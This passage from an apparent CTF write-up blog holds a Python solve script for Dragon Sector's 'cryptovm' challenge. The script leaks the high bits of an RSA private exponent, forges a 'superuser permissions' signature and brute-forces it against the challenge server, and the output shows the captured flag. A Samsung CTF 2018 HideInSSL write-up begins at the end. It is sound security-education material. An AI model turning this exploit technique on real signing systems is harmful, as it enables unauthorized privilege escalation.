<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x0b</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">mod</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x0c</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">powmod</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x0d</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">invert</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x0e</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">print</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">mem_slot</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x0f</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">mem_slot</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">exit</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">save</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fname</span><span class="p">):</span>
<span class="nb">open</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">data</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">CODE_SIZE</span><span class="p">,</span> <span class="nb">chr</span><span class="p">(</span><span class="mi">100</span><span class="p">)))</span>
<span class="k">def</span> <span class="nf">dump</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">data</span>
<span class="k">def</span> <span class="nf">clear</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">def</span> <span class="nf">parse</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fname</span><span class="p">):</span>
<span class="n">fp</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">op</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">op</span><span class="p">:</span>
<span class="k">break</span>
<span class="k">print</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">OPS</span><span class="p">[</span><span class="n">op</span><span class="p">],</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
<span class="n">varnames</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">OPS</span><span class="p">[</span><span class="n">op</span><span class="p">])</span><span class="o">.</span><span class="n">__func__</span><span class="o">.</span><span class="n">__code__</span><span class="o">.</span><span class="n">co_varnames</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
<span class="k">if</span> <span class="n">op</span> <span class="o">==</span> <span class="mi">5</span><span class="p">:</span> <span class="c"># rsa</span>
<span class="k">print</span><span class="p">(</span><span class="s">' mem={} mem_slot={}'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">repr</span><span class="p">(</span><span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">nbytes</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)),</span> <span class="nb">ord</span><span class="p">(</span><span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1</span><span class="p">))),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">op</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span> <span class="c"># setmode</span>
<span class="n">mode</span> <span class="o">=</span> <span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">' mode={}'</span><span class="o">.</span><span class="n">format</span><span class="p">({</span><span class="mi">0</span><span class="p">:</span> <span class="s">'MODEWEAK'</span><span class="p">,</span> <span class="mi">1</span><span class="p">:</span> <span class="s">'MODESTRONG'</span><span class="p">}[</span><span class="nb">ord</span><span class="p">(</span><span class="n">mode</span><span class="p">)]),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">nbytes</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">:</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">1</span><span class="p">:</span> <span class="mi">512</span><span class="p">}[</span><span class="n">mode</span><span class="p">]</span>
<span class="k">elif</span> <span class="n">op</span> <span class="o">==</span> <span class="mi">7</span><span class="p">:</span> <span class="c"># setmem</span>
<span class="n">mem_slot</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
<span class="n">mem</span> <span class="o">=</span> <span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">MEM_SIZE</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">' mem_slot={} mem={}'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">mem_slot</span><span class="p">,</span> <span class="nb">repr</span><span class="p">(</span><span class="n">mem</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">MEM</span><span class="p">[</span><span class="n">mem_slot</span><span class="p">]</span> <span class="o">=</span> <span class="n">mem</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">varnames</span><span class="p">:</span>
<span class="n">idx</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">' {}={}({})'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">idx</span><span class="p">,</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">MEM</span><span class="p">[</span><span class="n">idx</span><span class="p">][::</span><span class="o">-</span><span class="mi">1</span><span class="p">])),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">''</span><span class="p">)</span>
<span class="c"># test code for example_code</span>
<span class="c"># code = Code()</span>
<span class="c"># code.parse("./example_code")</span>
<span class="c"># p = 60577381335121930378049095038362041349510677730971333728430969142299997191539640776699647432719383772727967113505054324309039736859894426301979277400166137505416580587624307390710560508759811102272897231491086937522908899894365550698254496425742064666237056445125827937216764969668504749104099491488120443619</span>
<span class="c"># q = 16875876078499331470671840887468629307321569957425435020205720220938471297561781314601794832354980541520102268852969113765934733543861452359895081388063058984674119972894684481733724899425609039663560995262762360740053238688223716660923055638785296546660045104914833837240838583999742652051463122583923598119</span>
<span class="c"># e = 65537</span>
<span class="c"># d = gmpy2.invert(e, (p-1)*(q-1))</span>
<span class="c"># code.setmem(0, long_to_bytes(p)[::-1])</span>
<span class="c"># code.setmem(1, long_to_bytes(q)[::-1])</span>
<span class="c"># code.mul(0, 1, 2)</span>
<span class="c"># code.setmem(15, '\x01')</span>
<span class="c"># code.setmem(14, long_to_bytes(65537)[::-1])</span>
<span class="c"># code.setmem(13, 'Please give me superuser permissions')</span>
<span class="c"># code.sub(0, 15, 0)</span>
<span class="c"># code.sub(1, 15, 1)</span>
<span class="c"># code.mul(0, 1, 3)</span>
<span class="c"># code.invert(14, 3, 5)</span>
<span class="c"># code.powmod(13, 5, 2, 6)</span>
<span class="c"># code.sudo(7, 6)</span>
<span class="c"># code.print(6)</span>
<span class="c"># code.flag()</span>
<span class="c"># code.save("code")</span>
<span class="c"># poc for the paper </span>
<span class="c"># fp = open('./keys', 'rb')</span>
<span class="c"># keys = [parsekey(fp) for _ in range(NUM_KEYS)]</span>
<span class="c"># from pprint import pprint</span>
<span class="c"># pprint(keys)</span>
<span class="c"># exit()</span>
<span class="c"># n = keys[7]['n']</span>
<span class="c"># d = keys[7]['exp']</span>
<span class="c"># d_h = (d>>(8*128))<<(8*128)</span>
<span class="c"># d_l = d&((2<<(8*128))-1)</span>
<span class="c"># for k in range(65537):</span>
<span class="c"># _d = (k*(n+1)+1)/e</span>
<span class="c"># if d>>(8*128) == _d>>(8*128):</span>
<span class="c"># print(k)</span>
<span class="c"># # print(d>>(8*128))</span>
<span class="c"># # print(_d>>(8*128))</span>
<span class="c"># k = 3168</span>
<span class="c"># _d = (k*(n+1)+1)/e</span>
<span class="c"># assert _d>>(8*128) == d>>(8*128)</span>
<span class="c"># d_h = (_d / (2**(8*128))) * (2**(8*128))</span>
<span class="c"># # d_h = (_d>>(8*128))<<(8*128)</span>
<span class="c"># d_l = d&((2<<((8*128)-1))-1)</span>
<span class="c"># print(hex(d_l))</span>
<span class="c"># print(hex(d_h))</span>
<span class="c"># print(hex(d_l))</span>
<span class="c"># print(hex(d))</span>
<span class="c"># assert d_h+d_l == d</span>
<span class="c"># print(hex(d_h))</span>
<span class="c"># print(hex(d_l))</span>
<span class="c"># m = bytes_to_long("Please give me superuser permissions".ljust(128, '\x00')[::-1])</span>
<span class="c"># s_h = gmpy2.powmod(m, d_h, n)</span>
<span class="c"># s_l = gmpy2.powmod(m, d_l, n)</span>
<span class="c"># print(gmpy2.powmod(s_h*s_l, 1, n))</span>
<span class="c"># print(gmpy2.powmod(m, d, n))</span>
<span class="c"># exit()</span>
<span class="k">def</span> <span class="nf">init</span><span class="p">(</span><span class="n">keyslot</span><span class="p">):</span>
<span class="n">code</span> <span class="o">=</span> <span class="n">Code</span><span class="p">()</span>
<span class="n">code</span><span class="o">.</span><span class="n">setmode</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">code</span><span class="o">.</span><span class="n">getpub</span><span class="p">(</span><span class="n">keyslot</span><span class="p">,</span> <span class="mi">15</span><span class="p">)</span> <span class="c"># N (keyslot=7)</span>
<span class="n">code</span><span class="o">.</span><span class="n">setmem</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="mi">2</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="c"># 2 @14</span>
<span class="n">code</span><span class="o">.</span><span class="n">div</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">13</span><span class="p">)</span> <span class="c"># 1 @13</span>
<span class="n">code</span><span class="o">.</span><span class="n">powmod</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span> <span class="c"># 4</span>
<span class="n">code</span><span class="o">.</span><span class="n">powmod</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span> <span class="c"># 16</span>
<span class="n">code</span><span class="o">.</span><span class="n">powmod</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span> <span class="c"># 65536</span>
<span class="n">code</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span> <span class="c"># 65537 @12</span>
<span class="n">code</span><span class="o">.</span><span class="n">mul</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span> <span class="c"># 4</span>
<span class="n">code</span><span class="o">.</span><span class="n">mul</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span> <span class="c"># 8</span>
<span class="n">code</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span> <span class="c"># 10</span>
<span class="n">code</span><span class="o">.</span><span class="n">powmod</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span> <span class="c"># 128*8 (= 2**10)</span>
<span class="n">code</span><span class="o">.</span><span class="n">powmod</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">11</span><span class="p">)</span> <span class="c"># 2**(128*8) @11</span>
<span class="n">code</span><span class="o">.</span><span class="n">setmem</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="s">"Please give me superuser permissions"</span><span class="p">)</span> <span class="c"># msg @10</span>
<span class="k">return</span> <span class="n">code</span><span class="o">.</span><span class="n">dump</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">payload</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">keyslot</span><span class="p">):</span>
<span class="n">ret</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">code</span> <span class="o">=</span> <span class="n">Code</span><span class="p">()</span>
<span class="n">code</span><span class="o">.</span><span class="n">setmem</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">k</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="n">ret</span> <span class="o">+=</span> <span class="n">code</span><span class="o">.</span><span class="n">dump</span><span class="p">()</span>
<span class="n">code</span><span class="o">.</span><span class="n">clear</span><span class="p">()</span>
<span class="n">code</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="mi">15</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c"># (N+1)</span>
<span class="n">code</span><span class="o">.</span><span class="n">mul</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c"># k(N+1)</span>
<span class="n">code</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c"># k(N+1) + 1</span>
<span class="n">code</span><span class="o">.</span><span class="n">div</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c"># (k(N+1)+1)/e ~= d</span>
<span class="n">code</span><span class="o">.</span><span class="n">div</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c"># clear lower 128 bytes</span>
<span class="n">code</span><span class="o">.</span><span class="n">mul</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c"># d(higher)</span>
<span class="n">code</span><span class="o">.</span><span class="n">powmod</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="c"># msg^d(higher)</span>
<span class="n">code</span><span class="o">.</span><span class="n">setmode</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c"># temporary change mode to load full public key</span>
<span class="n">code</span><span class="o">.</span><span class="n">loadpub</span><span class="p">(</span><span class="n">keyslot</span><span class="p">)</span>
<span class="n">code</span><span class="o">.</span><span class="n">setmode</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">code</span><span class="o">.</span><span class="n">loadpriv</span><span class="p">(</span><span class="n">keyslot</span><span class="p">)</span> <span class="c"># keyslot (128bit)</span>
<span class="n">code</span><span class="o">.</span><span class="n">setmode</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">code</span><span class="o">.</span><span class="n">rsa</span><span class="p">(</span><span class="s">"Please give me superuser permissions"</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="c"># msg^d(lower)</span>
<span class="n">code</span><span class="o">.</span><span class="n">mul</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span> <span class="c"># msg^d(lower)*msg^d(higher)</span>
<span class="n">code</span><span class="o">.</span><span class="n">sudo</span><span class="p">(</span><span class="n">keyslot</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span>
<span class="n">ret</span> <span class="o">+=</span> <span class="n">code</span><span class="o">.</span><span class="n">dump</span><span class="p">()</span>
<span class="k">return</span> <span class="n">ret</span>
<span class="c"># search maximum size for payload</span>
<span class="n">size</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">init</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">/</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">solve_local</span><span class="p">(</span><span class="n">keyslot</span><span class="p">,</span> <span class="n">offset</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">init</span><span class="p">(</span><span class="n">keyslot</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">offset</span><span class="o">+</span><span class="n">size</span><span class="p">):</span>
<span class="n">s</span> <span class="o">+=</span> <span class="n">payload</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">keyslot</span><span class="p">)</span>
<span class="n">code</span> <span class="o">=</span> <span class="n">Code</span><span class="p">()</span>
<span class="n">code</span><span class="o">.</span><span class="n">flag</span><span class="p">()</span>
<span class="n">s</span> <span class="o">+=</span> <span class="n">code</span><span class="o">.</span><span class="n">dump</span><span class="p">()</span>
<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span><span class="p">,</span> <span class="nb">chr</span><span class="p">(</span><span class="mi">100</span><span class="p">))</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">Popen</span><span class="p">(</span><span class="s">"./a.out"</span><span class="p">,</span> <span class="n">stdin</span><span class="o">=</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">PIPE</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">communicate</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">if</span> <span class="s">'error'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">res</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">keyslot</span><span class="p">,</span> <span class="n">offset</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">solve_remote</span><span class="p">(</span><span class="n">keyslot</span><span class="p">,</span> <span class="n">offset</span><span class="p">):</span>
<span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="s">"cryptovm.hackable.software"</span><span class="p">,</span> <span class="mi">1337</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'Proof of Work: '</span><span class="p">)</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">commands</span><span class="o">.</span><span class="n">getoutput</span><span class="p">(</span><span class="n">cmd</span><span class="p">))</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">init</span><span class="p">(</span><span class="n">keyslot</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">offset</span><span class="o">+</span><span class="n">size</span><span class="p">):</span>
<span class="n">s</span> <span class="o">+=</span> <span class="n">payload</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">keyslot</span><span class="p">)</span>
<span class="n">code</span> <span class="o">=</span> <span class="n">Code</span><span class="p">()</span>
<span class="n">code</span><span class="o">.</span><span class="n">flag</span><span class="p">()</span>
<span class="n">s</span> <span class="o">+=</span> <span class="n">code</span><span class="o">.</span><span class="n">dump</span><span class="p">()</span>
<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o"><=</span> <span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span><span class="p">,</span> <span class="nb">chr</span><span class="p">(</span><span class="mi">100</span><span class="p">))</span>
<span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'debug'</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvall</span><span class="p">()</span>
<span class="k">if</span> <span class="s">'error'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">res</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'info'</span>
<span class="k">print</span><span class="p">(</span><span class="n">keyslot</span><span class="p">,</span> <span class="n">offset</span><span class="p">)</span>
<span class="k">with</span> <span class="n">concurrent</span><span class="o">.</span><span class="n">futures</span><span class="o">.</span><span class="n">ThreadPoolExecutor</span><span class="p">(</span><span class="n">max_workers</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span> <span class="k">as</span> <span class="n">executor</span><span class="p">:</span>
<span class="k">for</span> <span class="n">keyslot</span> <span class="ow">in</span> <span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">:]):</span>
<span class="n">futures</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">65537</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
<span class="n">futures</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">executor</span><span class="o">.</span><span class="n">submit</span><span class="p">(</span><span class="n">solve_remote</span><span class="p">,</span> <span class="n">keyslot</span><span class="p">,</span> <span class="n">i</span><span class="p">))</span>
<span class="c"># futures.append(executor.submit(solve_local, keyslot, i))</span>
<span class="n">executor</span><span class="o">.</span><span class="n">shutdown</span><span class="p">(</span><span class="n">wait</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="p">[</span><span class="n">f</span><span class="o">.</span><span class="n">result</span><span class="p">()</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">futures</span><span class="p">]</span>
</code></pre></div></div>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Receiving all data: Done (97B)
[DEBUG] Received 0xf bytes:
'starting init.\n'
[DEBUG] Received 0x23 bytes:
'starting vm. code length = 1048576\n'
[DEBUG] Received 0x28 bytes:
'DrgnS{093e99f356f7f3ba97409e818450606a}\n'
[DEBUG] Received 0x7 bytes:
'\n'
'done.\n'
[*] Closed connection to cryptovm.hackable.software port 1337
starting init.
starting vm. code length = 1048576
DrgnS{093e99f356f7f3ba97409e818450606a}
done.
4 46080
</code></pre></div></div>
<p>The flag was found on slot 4 with <code class="highlighter-rouge">k</code> between 46080 and 47360.</p>icchySadly most of TokyoWesterns had no motivation to play Dragon Sector’s CTF this time. Also I’ve been in ASU as a research scholar until the end of September, that’s why I’ve played this CTF as member of Shellphish with ASU students/professors, ended in contributing to solve following 3 challenges.Samsung CTF 2018 Quals2018-07-01T00:00:00+00:002018-07-01T00:00:00+00:00https://blog.tonkatsu.info/ctf/2018/07/01/sctf-2018-quals<p>I’m very surprised that only 832 points is ranked in 10th…</p>
<h2 id="index">index</h2>
<ul>
<li><a href="#hideinssl">HideInSSL</a></li>
<li><a href="#webcached">WebCached</a></li>
<li><a href="#through_the_router">Through The Router</a></li>
<li><a href="#not_open_network">Not Open Network</a></li>
</ul>
<h2 id="mic-check">Mic Check</h2>
<p><code class="highlighter-rouge">SCTF{you_need_to_include_SCTF{}_too}</code></p>
<h2 id="hideinssl">HideInSSL</h2>
<blockquote>
<p>Hacker stole the flag through the SSL protocol.</p>
</blockquote>
<p>As the description says, there is suspicious data on TLS random bytes including something like JPEG between <code class="highlighter-rouge">192.168.0.107</code> and <code class="highlighter-rouge">192.168.0.128</code>.</p>
<p><img src="/assets/sctf-2018-quals/wireshark.png" alt="wireshark.png" /></p>
<p><code class="highlighter-rouge">18:00:00:00:ff:d8:ff:e0:00:10:4a:46:49:46:00:01:00:01:00:60:00:60:00:00:ff:fe:00:1f</code></p>
<p>first 4 bytes seems to be size of payload. <code class="highlighter-rouge">\x18\x00\x00\x00</code> is 0x18 in little endian, also following 0x18 byte is JPEG header.</p>
<p>So whole data would be recovered by extracting each chunk. I tried to extract them into a file but this includes multiple JPEG file and each file seems to be corrupted.</p>
<p>Next I carefully looked into the traffic and found two facts:</p>
<ul>
<li>sometimes 0 size packet appears
<ul>
